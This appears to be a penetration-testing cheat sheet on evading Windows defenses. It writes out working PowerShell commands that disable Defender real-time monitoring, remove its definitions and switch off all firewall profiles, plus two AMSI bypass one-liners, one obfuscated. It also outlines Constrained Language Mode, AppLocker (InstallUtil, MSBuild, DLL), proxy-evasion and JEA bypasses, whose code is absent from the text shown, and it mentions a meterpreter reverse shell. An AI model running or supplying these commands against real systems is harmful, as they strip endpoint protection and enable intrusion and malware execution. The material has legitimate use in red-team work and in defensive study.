Countermeasure Evasion
This section contains several techniques to bypass or defeat security controls, safeguards, or defensive mechanisms put in place by an organization to protect its systems and data.
Disable AV & Firewall
# Alternative 1
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true
# Alternative 2
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled FalseAntimalware Scan Interface (AMSI)
The Antimalware Scan Interface (AMSI) is a security feature in Windows operating systems that provides a standardized interface for antivirus and other security applications to integrate with scripting engines and applications.
To disable AMSI on PowerShell you can execute any of the following alternatives.
# Alternative 1
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Alternative 2
(([Ref].Assembly.gettypes() | ? {$_.Name -like "Amsi*utils"}).GetFields("NonPublic,Static") | ? {$_.Name -like "amsiInit*ailed"}).SetValue($null,$true)Constrained Language Enabled (CLM)
Constrained Language Mode is a security feature designed to restrict the capabilities of PowerShell scripts, making them more secure and less prone to exploitation. When Constrained Language Mode is enabled, PowerShell restricts the use of certain language elements and cmdlets to help prevent potential malicious activities.
There are several alternatives to obtain a PowerShell process with a new RunSpace.
Alternative 1 - Metasploit
⚠️If powershell_shell dies, it is quite likely that the whole meterpreter reverse shell will die.
Alternative 2 - Csharp
AppLocker
There are several ways to bypass AppLocker.
Allowed store directories
ℹ️ The directories where we have write access doesn't mean that with AppLocker enable we can execute them.
Alternative 1 - InstallUtil
Compile the following CSharp code in Visual Studio as
clm.exe.
Use
installutil.exeto executeclm.exeso theUninstallmethod is executed.
Alternative 2 - MSBuild
Create the file
build.xml.
Build and execute the malicious payload.
Alternative 3 - DLL Bypass
PowerShell - CLM
Create the file
met.dll.
Compile the DLL.
Execute the DLL.
Powershell Proxy Evasion
Proxy servers are commonly employed in networks to monitor and control internet traffic, and they may inspect and filter PowerShell-related activities. Attackers, however, may employ various evasion techniques to circumvent these security measures.
Other cradles:
Just Enough Administration (JEA)
Just Enough Administration (JEA) is a security feature in Windows Server that allows administrators to delegate specific administrative tasks to users, limiting their permissions to only what is necessary for those tasks. JEA helps organizations enhance security by reducing the risk associated with providing broad administrative access.
A simple JEA bypass is by creating a new function and calling it.
Last updated